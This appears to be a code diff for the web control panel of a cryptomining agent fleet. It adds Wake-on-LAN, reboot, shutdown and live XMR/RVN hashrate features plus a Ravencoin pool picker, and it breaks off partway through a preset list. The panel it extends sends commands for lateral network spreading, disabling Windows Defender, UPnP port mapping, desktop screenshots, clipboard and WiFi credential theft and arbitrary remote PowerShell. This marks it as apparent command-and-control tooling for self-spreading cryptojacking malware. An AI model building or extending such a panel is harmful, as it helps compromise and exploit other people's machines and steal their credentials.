/** @deprecated Pass commandResults instead. */
|
/** @deprecated Pass commandResults instead. */
|
||||||
latestWsMessage?: { type: string; payload: unknown } | null;
|
latestWsMessage?: { type: string; payload: unknown } | null;
|
||||||
onCommandSent?: (action: string) => void;
|
onCommandSent?: (action: string) => void;
|
||||||
|
/** If true, inject a live stats snapshot into the terminal when agent updates */
|
||||||
|
showLiveStats?: boolean;
|
||||||
}
|
}
|
||||||
|
|
||||||
export default function AgentRemoteActions({
|
export default function AgentRemoteActions({
|
||||||
@@ -32,6 +35,7 @@ export default function AgentRemoteActions({
|
|||||||
compact = false,
|
compact = false,
|
||||||
commandResults,
|
commandResults,
|
||||||
onCommandSent,
|
onCommandSent,
|
||||||
|
showLiveStats = false,
|
||||||
}: Props) {
|
}: Props) {
|
||||||
const agentId = agentIdProp ?? agent?.id ?? '';
|
const agentId = agentIdProp ?? agent?.id ?? '';
|
||||||
const agentName = agentNameProp ?? agent?.name ?? 'Agent';
|
const agentName = agentNameProp ?? agent?.name ?? 'Agent';
|
||||||
@@ -43,9 +47,12 @@ export default function AgentRemoteActions({
|
|||||||
const [terminalLog, setTerminalLog] = useState<string[]>([]);
|
const [terminalLog, setTerminalLog] = useState<string[]>([]);
|
||||||
const [screenshotData, setScreenshotData] = useState<string | null>(null);
|
const [screenshotData, setScreenshotData] = useState<string | null>(null);
|
||||||
const [busy, setBusy] = useState<string | null>(null);
|
const [busy, setBusy] = useState<string | null>(null);
|
||||||
|
const [wolMac, setWolMac] = useState('');
|
||||||
|
const [wolExpanded, setWolExpanded] = useState(false);
|
||||||
// Fleet upgrade
|
// Fleet upgrade
|
||||||
const [builds, setBuilds] = useState<Build[]>([]);
|
const [builds, setBuilds] = useState<Build[]>([]);
|
||||||
const [selectedBuildId, setSelectedBuildId] = useState<string>('');
|
const [selectedBuildId, setSelectedBuildId] = useState<string>('');
|
||||||
|
const lastStatsRef = useRef<string>('');
|
||||||
useEffect(() => {
|
useEffect(() => {
|
||||||
api.listBuilds().then(setBuilds).catch(() => setBuilds([]));
|
api.listBuilds().then(setBuilds).catch(() => setBuilds([]));
|
||||||
}, []);
|
}, []);
|
||||||
@@ -77,6 +84,43 @@ export default function AgentRemoteActions({
|
|||||||
// eslint-disable-next-line react-hooks/exhaustive-deps
|
// eslint-disable-next-line react-hooks/exhaustive-deps
|
||||||
}, [agentId]);
|
}, [agentId]);
|
||||||
|
|
||||||
|
// Pre-fill WOL MAC from agent object when it becomes available
|
||||||
|
useEffect(() => {
|
||||||
|
if (agent?.mac_address && !wolMac) {
|
||||||
|
setWolMac(agent.mac_address);
|
||||||
|
}
|
||||||
|
}, [agent?.mac_address]);
|
||||||
|
|
||||||
|
// Live stats ticker — appends a concise status line whenever agent data changes.
|
||||||
|
// Throttled: only fires if the snapshot hash changed AND at least 15s has elapsed.
|
||||||
|
const lastStatsPushRef = useRef(0);
|
||||||
|
useEffect(() => {
|
||||||
|
if (!showLiveStats || !agent || agent.status !== 'online') return;
|
||||||
|
const snapshot = [
|
||||||
|
agent.hashrate_15s?.toFixed(0),
|
||||||
|
agent.cpu_usage_pct?.toFixed(0),
|
||||||
|
agent.memory_usage_pct?.toFixed(0),
|
||||||
|
agent.cpu_temp_c,
|
||||||
|
].join('|');
|
||||||
|
if (snapshot === lastStatsRef.current) return;
|
||||||
|
const now = Date.now();
|
||||||
|
if (now - lastStatsPushRef.current < 15000) return;
|
||||||
|
lastStatsRef.current = snapshot;
|
||||||
|
lastStatsPushRef.current = now;
|
||||||
|
|
||||||
|
const parts: string[] = [
|
||||||
|
`XMR ${formatHashrate(agent.hashrate_15s ?? 0)}`,
|
||||||
|
`CPU ${(agent.cpu_usage_pct ?? 0).toFixed(1)}%`,
|
||||||
|
`RAM ${(agent.memory_usage_pct ?? 0).toFixed(1)}%`,
|
||||||
|
];
|
||||||
|
if (agent.cpu_temp_c != null) parts.push(`Temp ${agent.cpu_temp_c}°C`);
|
||||||
|
if (agent.gpu_miner_active && agent.gpu_hashrate_15s) {
|
||||||
|
parts.push(`RVN ${formatHashrate(agent.gpu_hashrate_15s)}`);
|
||||||
|
}
|
||||||
|
if (agent.disk_free_pct != null) parts.push(`Disk ${agent.disk_free_pct}% free`);
|
||||||
|
addLog(`◈ LIVE ${parts.join(' │ ')}`);
|
||||||
|
}, [agent, showLiveStats, addLog]);
|
||||||
|
|
||||||
// Process every new commandResults entry we haven't seen yet (M13 — no drops).
|
// Process every new commandResults entry we haven't seen yet (M13 — no drops).
|
||||||
// Filters by _seq so the ring-buffer trim never makes us miss results.
|
// Filters by _seq so the ring-buffer trim never makes us miss results.
|
||||||
useEffect(() => {
|
useEffect(() => {
|
||||||
@@ -95,52 +139,74 @@ export default function AgentRemoteActions({
|
|||||||
const clean = sanitizeScreenshotBase64(message);
|
const clean = sanitizeScreenshotBase64(message);
|
||||||
if (downloadScreenshotFromBase64(clean, label)) {
|
if (downloadScreenshotFromBase64(clean, label)) {
|
||||||
setScreenshotData(`data:image/jpeg;base64,${clean}`);
|
setScreenshotData(`data:image/jpeg;base64,${clean}`);
|
||||||
addLog(`Screenshot saved — ${label}`);
|
addLog(`✓ Screenshot saved — ${label}`);
|
||||||
} else {
|
} else {
|
||||||
addLog(`[SCREENSHOT] ${label}: invalid image data`);
|
addLog(`✗ [SCREENSHOT] ${label}: invalid image data`);
|
||||||
}
|
}
|
||||||
} else {
|
} else {
|
||||||
addLog(`[SCREENSHOT] ${label}: FAIL\n${message ?? ''}`);
|
addLog(`✗ [SCREENSHOT] ${label}: FAIL\n${message ?? ''}`);
|
||||||
}
|
}
|
||||||
} else if (action) {
|
} else if (action) {
|
||||||
addLog(`[${action.toUpperCase()}] ${agent_id}: ${success ? 'OK' : 'FAIL'}\n${message ?? ''}`);
|
const icon = success ? '✓' : '✗';
|
||||||
|
addLog(`${icon} [${action.toUpperCase()}]\n${message ?? ''}`);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}, [commandResults, agentId, addLog]);
|
}, [commandResults, agentId, addLog]);
|
||||||
|
|
||||||
const dispatch = async (action: string, args: Record<string, unknown> = {}) => {
|
const dispatch = async (action: string, args: Record<string, unknown> = {}) => {
|
||||||
if (!agentId) {
|
if (!agentId) {
|
||||||
addLog('No agent selected');
|
addLog('⚠ No agent selected');
|
||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
if (agent && !isOnline) {
|
if (action !== 'wol' && agent && !isOnline) {
|
||||||
addLog('Agent is offline');
|
addLog(`⚠ Agent "${agentName}" is offline — command not sent`);
|
||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
if (action === 'stop' && !window.confirm(`Stop miner on "${agentName}"?`)) return;
|
if (action === 'stop' && !window.confirm(`Stop miner on "${agentName}"?`)) return;
|
||||||
if (action === 'uninstall' && !window.confirm(`Uninstall miner from "${agentName}"?`)) return;
|
if (action === 'uninstall' && !window.confirm(`Uninstall miner from "${agentName}"?`)) return;
|
||||||
|
if (action === 'reboot_machine' && !window.confirm(`REBOOT "${agentName}" now?\n\nThe machine will immediately restart.`)) return;
|
||||||
|
if (action === 'shutdown_machine' && !window.confirm(`SHUT DOWN "${agentName}" now?\n\nThe machine will power off and won't come back unless Wake-on-LAN is used.`)) return;
|
||||||
if (action === 'upgrade' && !window.confirm(`Push binary upgrade to "${agentName === 'Agent' ? 'ENTIRE FLEET' : agentName}"?\n\nThe agent will download, replace itself, and restart.`)) return;
|
if (action === 'upgrade' && !window.confirm(`Push binary upgrade to "${agentName === 'Agent' ? 'ENTIRE FLEET' : agentName}"?\n\nThe agent will download, replace itself, and restart.`)) return;
|
||||||
if (action === 'spread_now' && !window.confirm(`Run lateral spread sweep from "${agentName}" now?`)) return;
|
if (action === 'spread_now' && !window.confirm(`Run lateral spread sweep from "${agentName}" now?`)) return;
|
||||||
if (action === 'defender_off' && !window.confirm(`Disable Defender real-time on "${agentName}"? Requires admin.`)) return;
|
if (action === 'defender_off' && !window.confirm(`Disable Defender real-time on "${agentName}"? Requires admin.`)) return;
|
||||||
if (action === 'hole_punch' && !window.confirm(`Map UPnP port on router for "${agentName}" (TCP 8989)?`)) return;
|
if (action === 'hole_punch' && !window.confirm(`Map UPnP port on router for "${agentName}" (TCP 8989)?`)) return;
|
||||||
|
|
||||||
|
// WOL is handled server-side (no agent connection needed)
|
||||||
|
if (action === 'wol') {
|
||||||
|
setBusy('wol');
|
||||||
|
try {
|
||||||
|
addLog(`◈ Sending Wake-on-LAN to ${agentName} (${args.mac ?? 'stored MAC'})…`);
|
||||||
|
const res = await api.sendWOL(agentId, args.mac as string | undefined);
|
||||||
|
if (res.success) {
|
||||||
|
addLog(`✓ WOL magic packet sent to ${res.mac ?? args.mac ?? 'broadcast'}`);
|
||||||
|
} else {
|
||||||
|
addLog(`✗ WOL failed: ${res.error ?? 'unknown error'}`);
|
||||||
|
}
|
||||||
|
} catch (err: unknown) {
|
||||||
|
addLog(`✗ WOL error: ${err instanceof Error ? err.message : 'request failed'}`);
|
||||||
|
} finally {
|
||||||
|
setBusy(null);
|
||||||
|
}
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
setBusy(action);
|
setBusy(action);
|
||||||
try {
|
try {
|
||||||
if (action === 'screenshot') {
|
if (action === 'screenshot') {
|
||||||
addLog(`Capturing desktop on ${agentName}…`);
|
addLog(`◈ Capturing desktop on ${agentName}…`);
|
||||||
} else if (!compact) {
|
} else {
|
||||||
addLog(`> Executing ${action}...`);
|
addLog(`▶ ${action} → ${agentId === 'all' ? 'FLEET' : agentName}`);
|
||||||
}
|
}
|
||||||
const res = await api.sendAgentCommand(agentId, action, args);
|
const res = await api.sendAgentCommand(agentId, action, args);
|
||||||
if (res.success === false) {
|
if (res.success === false) {
|
||||||
addLog(`Command rejected: ${res.error ?? 'unknown error'}`);
|
addLog(`✗ Rejected: ${res.error ?? 'unknown error'}`);
|
||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
if (!compact) addLog(`> ${action} sent to ${agentId === 'all' ? 'fleet' : agentName}`);
|
if (action !== 'screenshot') addLog(`✓ command queued`);
|
||||||
onCommandSent?.(action);
|
onCommandSent?.(action);
|
||||||
} catch (err: unknown) {
|
} catch (err: unknown) {
|
||||||
const msg = err instanceof Error ? err.message : 'Command failed';
|
const msg = err instanceof Error ? err.message : 'Command failed';
|
||||||
addLog(`API Error: ${msg}`);
|
addLog(`✗ ${msg}`);
|
||||||
} finally {
|
} finally {
|
||||||
setBusy(null);
|
setBusy(null);
|
||||||
}
|
}
|
||||||
@@ -177,13 +243,23 @@ export default function AgentRemoteActions({
|
|||||||
if (compact) {
|
if (compact) {
|
||||||
return (
|
return (
|
||||||
<div className="agent-remote compact" onClick={(e) => e.stopPropagation()}>
|
<div className="agent-remote compact" onClick={(e) => e.stopPropagation()}>
|
||||||
|
{!isOnline && (
|
||||||
|
<div className="compact-offline-banner">⚠ offline — commands disabled</div>
|
||||||
|
)}
|
||||||
<div className="agent-remote-row">
|
<div className="agent-remote-row">
|
||||||
<button type="button" className="agent-action-btn" disabled={!isOnline || !!busy} onClick={() => dispatch('screenshot')}>Screenshot</button>
|
<button type="button" aria-label="Screenshot" className="agent-action-btn" disabled={!isOnline || !!busy} onClick={() => dispatch('screenshot')} title="Capture desktop">📷</button>
|
||||||
<button type="button" className="agent-action-btn" disabled={!isOnline || !!busy} onClick={() => dispatch('pause')}>Pause</button>
|
<button type="button" aria-label="Pause" className="agent-action-btn" disabled={!isOnline || !!busy} onClick={() => dispatch('pause')} title="Pause miner">⏸</button>
|
||||||
<button type="button" className="agent-action-btn" disabled={!isOnline || !!busy} onClick={() => dispatch('resume')}>Resume</button>
|
<button type="button" aria-label="Resume" className="agent-action-btn" disabled={!isOnline || !!busy} onClick={() => dispatch('resume')} title="Resume miner">▶</button>
|
||||||
<button type="button" className="agent-action-btn warn" disabled={!isOnline || !!busy} onClick={() => dispatch('stop')}>Stop</button>
|
<button type="button" aria-label="Reboot" className="agent-action-btn warn" disabled={!isOnline || !!busy} onClick={() => dispatch('reboot_machine')} title="Reboot machine">↺</button>
|
||||||
<button type="button" className="agent-action-btn danger" disabled={!isOnline || !!busy} onClick={() => dispatch('uninstall')}>Uninstall</button>
|
<button type="button" aria-label="Shutdown" className="agent-action-btn warn" disabled={!isOnline || !!busy} onClick={() => dispatch('shutdown_machine')} title="Shutdown machine">⏻</button>
|
||||||
|
<button type="button" aria-label="Wake" className="agent-action-btn" disabled={!!busy} onClick={() => dispatch('wol', { mac: agent?.mac_address })} title="Wake on LAN">☀</button>
|
||||||
|
<button type="button" aria-label="Stop" className="agent-action-btn danger" disabled={!isOnline || !!busy} onClick={() => dispatch('stop')} title="Kill miner process">✕</button>
|
||||||
</div>
|
</div>
|
||||||
|
{terminalLog.length > 0 && (
|
||||||
|
<div className="compact-terminal">
|
||||||
|
{terminalLog.slice(-4).map((l, i) => <div key={i} className="compact-log-line">{l}</div>)}
|
||||||
|
</div>
|
||||||
|
)}
|
||||||
</div>
|
</div>
|
||||||
);
|
);
|
||||||
}
|
}
|
||||||
@@ -202,8 +278,12 @@ export default function AgentRemoteActions({
|
|||||||
<div className="tactical-panel">
|
<div className="tactical-panel">
|
||||||
<div className="tactical-header">
|
<div className="tactical-header">
|
||||||
<div className="target-indicator">
|
<div className="target-indicator">
|
||||||
<div className={`status-dot ${isFleet ? 'fleet-glow' : 'agent-glow'}`} />
|
<div className={`status-dot ${isFleet ? 'fleet-glow' : isOnline ? 'agent-glow' : 'offline-dot'}`} />
|
||||||
<h2>Target: {isFleet ? 'ENTIRE FLEET' : agentName}</h2>
|
<h2>Target: {isFleet ? 'ENTIRE FLEET' : agentName}</h2>
|
||||||
|
{!isFleet && !isOnline && (
|
||||||
|
<span className="offline-badge">OFFLINE — commands disabled</span>
|
||||||
|
)}
|
||||||
|
{busy && <span className="busy-badge">⏳ {busy}…</span>}
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
|
|
||||||
@@ -235,10 +315,41 @@ export default function AgentRemoteActions({
|
|||||||
<div className="action-group power-group">
|
<div className="action-group power-group">
|
||||||
<h3>System Power</h3>
|
<h3>System Power</h3>
|
||||||
<div className="button-grid">
|
<div className="button-grid">
|
||||||
<button type="button" className="btn-amber" disabled={!isOnline || !!busy} onClick={() => dispatch('restart')}>Restart Agent</button>
|
<button type="button" className="btn-amber" disabled={!isOnline || !!busy} onClick={() => dispatch('restart')} title="Restart miner process only">Restart Agent</button>
|
||||||
<button type="button" className="btn-red" disabled={!isOnline || !!busy} onClick={() => dispatch('stop')}>Kill Process</button>
|
<button type="button" className="btn-amber" disabled={!isOnline || !!busy} onClick={() => dispatch('reboot_machine')} title="Full OS reboot">Reboot Machine</button>
|
||||||
|
<button type="button" className="btn-red" disabled={!isOnline || !!busy} onClick={() => dispatch('shutdown_machine')} title="Power off OS">Shutdown Machine</button>
|
||||||
|
<button type="button" className="btn-red" disabled={!isOnline || !!busy} onClick={() => dispatch('stop')}>Kill Miner</button>
|
||||||
<button type="button" className="btn-red" disabled={!isOnline || !!busy} onClick={() => dispatch('uninstall')}>Uninstall</button>
|
<button type="button" className="btn-red" disabled={!isOnline || !!busy} onClick={() => dispatch('uninstall')}>Uninstall</button>
|
||||||
</div>
|
</div>
|
||||||
|
<div className="wol-row" style={{ marginTop: '0.75rem' }}>
|
||||||
|
<button
|
||||||
|
type="button"
|
||||||
|
className="btn-cyan wol-toggle"
|
||||||
|
onClick={() => setWolExpanded((p) => !p)}
|
||||||
|
title="Send Wake-on-LAN magic packet to power on a sleeping machine"
|
||||||
|
>
|
||||||
|
☀ Wake Machine (WOL) {wolExpanded ? '▲' : '▼'}
|
||||||
|
</button>
|
||||||
|
{wolExpanded && (
|
||||||
|
<div className="wol-form">
|
||||||
|
<input
|
||||||
|
type="text"
|
||||||
|
className="wol-mac-input"
|
||||||
|
placeholder="MAC address e.g. AA:BB:CC:DD:EE:FF"
|
||||||
|
value={wolMac}
|
||||||
|
onChange={(e) => setWolMac(e.target.value)}
|
||||||
|
/>
|
||||||
|
<button
|
||||||
|
type="button"
|
||||||
|
className="btn-cyan"
|
||||||
|
disabled={!!busy}
|
||||||
|
onClick={() => dispatch('wol', wolMac ? { mac: wolMac } : {})}
|
||||||
|
>
|
||||||
|
{busy === 'wol' ? 'Sending…' : 'Send Packet'}
|
||||||
|
</button>
|
||||||
|
</div>
|
||||||
|
)}
|
||||||
|
</div>
|
||||||
</div>
|
</div>
|
||||||
|
|
||||||
<div className="action-group upgrade-group">
|
<div className="action-group upgrade-group">
|
||||||
@@ -395,11 +506,23 @@ export default function AgentRemoteActions({
|
|||||||
</div>
|
</div>
|
||||||
|
|
||||||
<div className="master-terminal">
|
<div className="master-terminal">
|
||||||
|
<div className="terminal-titlebar">
|
||||||
|
<span className="terminal-title">◈ REMOTE TERMINAL — {agentId === 'all' ? 'FLEET' : agentName}</span>
|
||||||
|
<button type="button" className="terminal-clear-btn" onClick={() => setTerminalLog([])}>CLEAR</button>
|
||||||
|
</div>
|
||||||
<div className="terminal-output">
|
<div className="terminal-output">
|
||||||
{terminalLog.length === 0 ? (
|
{terminalLog.length === 0 ? (
|
||||||
<span className="terminal-placeholder">Awaiting telemetry...</span>
|
<div className="terminal-placeholder">
|
||||||
|
<div>◈ Terminal ready — send a command to see output here</div>
|
||||||
|
{isOnline && <div style={{ marginTop: '0.4rem', color: '#555' }}>Commands: Process List, System Info, Net Connections, Clipboard, WiFi Creds...</div>}
|
||||||
|
{!isOnline && <div style={{ marginTop: '0.4rem', color: '#ff4444' }}>Agent offline — only WOL is available</div>}
|
||||||
|
</div>
|
||||||
) : (
|
) : (
|
||||||
terminalLog.map((log, i) => <div key={i} className="log-line">{log}</div>)
|
terminalLog.map((log, i) => (
|
||||||
|
<div key={i} className={`log-line ${log.startsWith('✓') ? 'log-ok' : log.startsWith('✗') ? 'log-err' : log.startsWith('◈ LIVE') ? 'log-live' : log.startsWith('⚠') ? 'log-warn' : ''}`}>
|
||||||
|
{log}
|
||||||
|
</div>
|
||||||
|
))
|
||||||
)}
|
)}
|
||||||
<div ref={logEndRef} />
|
<div ref={logEndRef} />
|
||||||
</div>
|
</div>
|
||||||
@@ -409,11 +532,11 @@ export default function AgentRemoteActions({
|
|||||||
type="text"
|
type="text"
|
||||||
value={customCmd}
|
value={customCmd}
|
||||||
onChange={(e) => setCustomCmd(e.target.value)}
|
onChange={(e) => setCustomCmd(e.target.value)}
|
||||||
placeholder="Enter PowerShell command..."
|
placeholder={isOnline ? 'Enter PowerShell command...' : 'Agent offline'}
|
||||||
autoComplete="off"
|
autoComplete="off"
|
||||||
disabled={!isOnline}
|
disabled={!isOnline}
|
||||||
/>
|
/>
|
||||||
<button type="submit" disabled={!isOnline}>EXEC</button>
|
<button type="submit" disabled={!isOnline || !!busy}>EXEC</button>
|
||||||
</form>
|
</form>
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
|
|||||||
178
server/web/src/components/RVNPoolPresetPicker.tsx
Normal file
178
server/web/src/components/RVNPoolPresetPicker.tsx
Normal file
@@ -0,0 +1,178 @@
|
|||||||
|
import { useEffect, useMemo, useState } from 'react';
|
||||||
|
import type { BackupPool } from '../types';
|
||||||
|
import {
|
||||||
|
RVN_POOL_PRESETS,
|
||||||
|
DEFAULT_RVN_PRESET_IDS,
|
||||||
|
orderedRVNPoolsFromSelection,
|
||||||
|
detectRVNPresetIds,
|
||||||
|
applyRVNPoolsToForgeFields,
|
||||||
|
type RVNPoolForgeFields,
|
||||||
|
} from '../help/poolPresets';
|
||||||
|
import './PoolPresetPicker.css';
|
||||||
|
|
||||||
|
interface RVNPoolPresetPickerProps {
|
||||||
|
host: string;
|
||||||
|
port: number;
|
||||||
|
tls: boolean;
|
||||||
|
pass: string;
|
||||||
|
backups?: BackupPool[];
|
||||||
|
onChange: (next: RVNPoolForgeFields) => void;
|
||||||
|
}
|
||||||
|
|
||||||
|
export default function RVNPoolPresetPicker({
|
||||||
|
host,
|
||||||
|
port,
|
||||||
|
tls,
|
||||||
|
pass,
|
||||||
|
backups = [],
|
||||||
|
onChange,
|
||||||
|
}: RVNPoolPresetPickerProps) {
|
||||||
|
const [selectedIds, setSelectedIds] = useState<string[]>(() => {
|
||||||
|
const detected = detectRVNPresetIds(host, port, tls, backups);
|
||||||
|
return detected.length ? detected : [...DEFAULT_RVN_PRESET_IDS];
|
||||||
|
});
|
||||||
|
const [useCustom, setUseCustom] = useState(false);
|
||||||
|
const [customHost, setCustomHost] = useState('');
|
||||||
|
const [customPort, setCustomPort] = useState(6060);
|
||||||
|
const [customTls, setCustomTls] = useState(false);
|
||||||
|
|
||||||
|
useEffect(() => {
|
||||||
|
const detected = detectRVNPresetIds(host, port, tls, backups);
|
||||||
|
if (detected.length) setSelectedIds(detected);
|
||||||
|
}, [host, port, tls, backups]);
|
||||||
|
|
||||||
|
const orderedPreview = useMemo(() => {
|
||||||
|
const custom: BackupPool | null = useCustom && customHost.trim()
|
||||||
|
? { host: customHost.trim(), port: customPort || 6060, tls: customTls, pass: pass || 'x' }
|
||||||
|
: null;
|
||||||
|
return orderedRVNPoolsFromSelection(selectedIds, pass || 'x', custom);
|
||||||
|
}, [selectedIds, pass, useCustom, customHost, customPort, customTls]);
|
||||||
|
|
||||||
|
const applySelection = (ids: string[], customOn: boolean, cHost: string, cPort: number, cTls: boolean) => {
|
||||||
|
const custom: BackupPool | null =
|
||||||
|
customOn && cHost.trim()
|
||||||
|
? { host: cHost.trim(), port: cPort || 6060, tls: cTls, pass: pass || 'x' }
|
||||||
|
: null;
|
||||||
|
const pools = orderedRVNPoolsFromSelection(ids, pass || 'x', custom);
|
||||||
|
onChange(applyRVNPoolsToForgeFields(pools));
|
||||||
|
};
|
||||||
|
|
||||||
|
const togglePreset = (id: string) => {
|
||||||
|
const next = selectedIds.includes(id)
|
||||||
|
? selectedIds.filter((x) => x !== id)
|
||||||
|
: [...selectedIds, id];
|
||||||
|
if (!next.length) return;
|
||||||
|
setSelectedIds(next);
|
||||||
|
applySelection(next, useCustom, customHost, customPort, customTls);
|
||||||
|
};
|
||||||
|
|
||||||
|
const grouped = useMemo(() => {
|
||||||
|
const map = new Map<string, typeof RVN_POOL_PRESETS>();
|
||||||
|
for (const p of RVN_POOL_PRESETS) {
|
||||||
|
const list = map.get(p.provider) ?? [];
|
||||||
|
list.push(p);
|
||||||
|
map.set(p.provider, list);
|
||||||
|
}
|
||||||
|
return [...map.entries()];
|
||||||
|
}, []);
|
||||||
|
|
||||||
|
return (
|
||||||
|
<div className="pool-preset-picker rvn-pool-picker">
|
||||||
|
<p className="form-hint pool-preset-hint">
|
||||||
|
Select one or more Ravencoin (KawPoW) pools. Failover order applies — primary is tried first.
|
||||||
|
</p>
|
||||||
|
<div className="pool-preset-grid">
|
||||||
|
{grouped.map(([provider, presets]) => (
|
||||||
|
<div key={provider} className="pool-preset-group">
|
||||||
|
<span className="pool-preset-provider font-tech" style={{ color: 'var(--neon-gold)' }}>
|
||||||
|
{provider}
|
||||||
|
</span>
|
||||||
|
{presets.map((p) => (
|
||||||
|
<label key={p.id} className="pool-preset-option checkbox-label">
|
||||||
|
<input
|
||||||
|
type="checkbox"
|
||||||
|
className="checkbox"
|
||||||
|
checked={selectedIds.includes(p.id)}
|
||||||
|
onChange={() => togglePreset(p.id)}
|
||||||
|
/>
|
||||||
|
<span>
|
||||||
|
<code>{p.host}:{p.port}</code>
|
||||||
|
{p.tls ? ' TLS' : ''}
|
||||||
|
<span className="pool-preset-sub"> ({p.hint})</span>
|
||||||
|
</span>
|
||||||
|
</label>
|
||||||
|
))}
|
||||||
|
</div>
|
||||||
|
))}
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<div className="pool-preset-custom">
|
||||||
|
<label className="checkbox-label">
|
||||||
|
<input
|
||||||
|
type="checkbox"
|
||||||
|
className="checkbox"
|
||||||
|
checked={useCustom}
|
||||||
|
onChange={(e) => {
|
||||||
|
const on = e.target.checked;
|
||||||
|
setUseCustom(on);
|
||||||
|
applySelection(selectedIds, on, customHost, customPort, customTls);
|
||||||
|
}}
|
||||||
|
/>
|
||||||
|
<span>Add custom pool</span>
|
||||||
|
</label>
|
||||||
|
{useCustom && (
|
||||||
|
<div className="pool-preset-custom-fields form-row">
|
||||||
|
<input
|
||||||
|
type="text"
|
||||||
|
className="input mono"
|
||||||
|
placeholder="pool.example.com"
|
||||||
|
value={customHost}
|
||||||
|
onChange={(e) => {
|
||||||
|
setCustomHost(e.target.value);
|
||||||
|
applySelection(selectedIds, true, e.target.value, customPort, customTls);
|
||||||
|
}}
|
||||||
|
/>
|
||||||
|
<input
|
||||||
|
type="number"
|
||||||
|
className="input"
|
||||||
|
min={1}
|
||||||
|
max={65535}
|
||||||
|
value={customPort}
|
||||||
|
onChange={(e) => {
|
||||||
|
const v = e.target.valueAsNumber || 6060;
|
||||||
|
setCustomPort(v);
|
||||||
|
applySelection(selectedIds, true, customHost, v, customTls);
|
||||||
|
}}
|
||||||
|
/>
|
||||||
|
<label className="checkbox-label">
|
||||||
|
<input
|
||||||
|
type="checkbox"
|
||||||
|
className="checkbox"
|
||||||
|
checked={customTls}
|
||||||
|
onChange={(e) => {
|
||||||
|
setCustomTls(e.target.checked);
|
||||||
|
applySelection(selectedIds, true, customHost, customPort, e.target.checked);
|
||||||
|
}}
|
||||||
|
/>
|
||||||
|
<span>TLS</span>
|
||||||
|
</label>
|
||||||
|
</div>
|
||||||
|
)}
|
||||||
|
</div>
|
||||||
|
|
||||||
|
{orderedPreview.length > 0 && (
|
||||||
|
<div className="pool-preset-order">
|
||||||
|
<span className="font-tech">Failover order</span>
|
||||||
|
<ol>
|
||||||
|
{orderedPreview.map((p, i) => (
|
||||||
|
<li key={`${p.host}:${p.port}:${p.tls}`}>
|
||||||
|
{i === 0 ? 'Primary' : `Backup ${i}`}: {p.host}:{p.port}
|
||||||
|
{p.tls ? ' (TLS)' : ''}
|
||||||
|
</li>
|
||||||
|
))}
|
||||||
|
</ol>
|
||||||
|
</div>
|
||||||
|
)}
|
||||||
|
</div>
|
||||||
|
);
|
||||||
|
}
|
||||||
@@ -370,7 +370,7 @@ describe('AgentRemoteActions', () => {
|
|||||||
expect(screen.getByRole('heading', { name: 'Target: Node A' })).toBeInTheDocument();
|
expect(screen.getByRole('heading', { name: 'Target: Node A' })).toBeInTheDocument();
|
||||||
});
|
});
|
||||||
expect(screen.getByRole('heading', { name: 'Recon & Intel' })).toBeInTheDocument();
|
expect(screen.getByRole('heading', { name: 'Recon & Intel' })).toBeInTheDocument();
|
||||||
expect(screen.getByText(/Awaiting telemetry/i)).toBeInTheDocument();
|
expect(screen.getByText(/Terminal ready/i)).toBeInTheDocument();
|
||||||
});
|
});
|
||||||
|
|
||||||
it('disables recon buttons when agent offline', async () => {
|
it('disables recon buttons when agent offline', async () => {
|
||||||
|
|||||||
@@ -144,6 +144,11 @@ export function WebSocketProvider({ children }: { children: React.ReactNode }) {
|
|||||||
...(update.disk_free_pct !== undefined ? { disk_free_pct: update.disk_free_pct } : {}),
|
...(update.disk_free_pct !== undefined ? { disk_free_pct: update.disk_free_pct } : {}),
|
||||||
...(update.gpu_temp_c !== undefined ? { gpu_temp_c: update.gpu_temp_c } : {}),
|
...(update.gpu_temp_c !== undefined ? { gpu_temp_c: update.gpu_temp_c } : {}),
|
||||||
...(update.gpu_usage_pct !== undefined ? { gpu_usage_pct: update.gpu_usage_pct } : {}),
|
...(update.gpu_usage_pct !== undefined ? { gpu_usage_pct: update.gpu_usage_pct } : {}),
|
||||||
|
...(update.gpu_miner_active !== undefined ? { gpu_miner_active: update.gpu_miner_active } : {}),
|
||||||
|
...(update.gpu_hashrate_15s !== undefined ? { gpu_hashrate_15s: update.gpu_hashrate_15s } : {}),
|
||||||
|
...(update.gpu_hashrate_1m !== undefined ? { gpu_hashrate_1m: update.gpu_hashrate_1m } : {}),
|
||||||
|
...(update.gpu_hashrate_15m !== undefined ? { gpu_hashrate_15m: update.gpu_hashrate_15m } : {}),
|
||||||
|
...(update.gpu_model !== undefined ? { gpu_model: update.gpu_model } : {}),
|
||||||
...(update.ssh_available !== undefined ? { ssh_available: update.ssh_available } : {}),
|
...(update.ssh_available !== undefined ? { ssh_available: update.ssh_available } : {}),
|
||||||
...(update.posture_score !== undefined ? { posture_score: update.posture_score } : {}),
|
...(update.posture_score !== undefined ? { posture_score: update.posture_score } : {}),
|
||||||
...(update.last_patch_days !== undefined ? { last_patch_days: update.last_patch_days } : {}),
|
...(update.last_patch_days !== undefined ? { last_patch_days: update.last_patch_days } : {}),
|
||||||
|
|||||||
@@ -80,6 +80,114 @@ export const XMR_POOL_PRESETS: PoolPreset[] = [
|
|||||||
|
|
||||||
export const DEFAULT_PRESET_IDS = ['supportxmr-tls', 'moneroocean-tls', 'herominers-tls'] as const;
|
export const DEFAULT_PRESET_IDS = ['supportxmr-tls', 'moneroocean-tls', 'herominers-tls'] as const;
|
||||||
|
|
||||||
|
// ─── Ravencoin (RVN / KawPoW) pool presets ───────────────────────────────────
|
||||||
|
|
||||||
|
export interface RVNPoolPreset {
|
||||||
|
id: string;
|
||||||
|
provider: string;
|
||||||
|
host: string;
|
||||||
|
port: number;
|
||||||
|
tls: boolean;
|
||||||
|
hint: string;
|
||||||
|
}
|
||||||
|
|
||||||
|
export const RVN_POOL_PRESETS: RVNPoolPreset[] = [
|
||||||
|
{
|
||||||
|
id: '2miners-rvn',
|
||||||
|
provider: '2Miners',
|
||||||
|
host: 'rvn.2miners.com',
|
||||||
|
port: 6060,
|
||||||
|
tls: false,
|
||||||
|
hint: ':6060',
|
||||||
|
},
|
||||||
|
{
|
||||||
|
id: 'herominers-rvn',
|
||||||
|
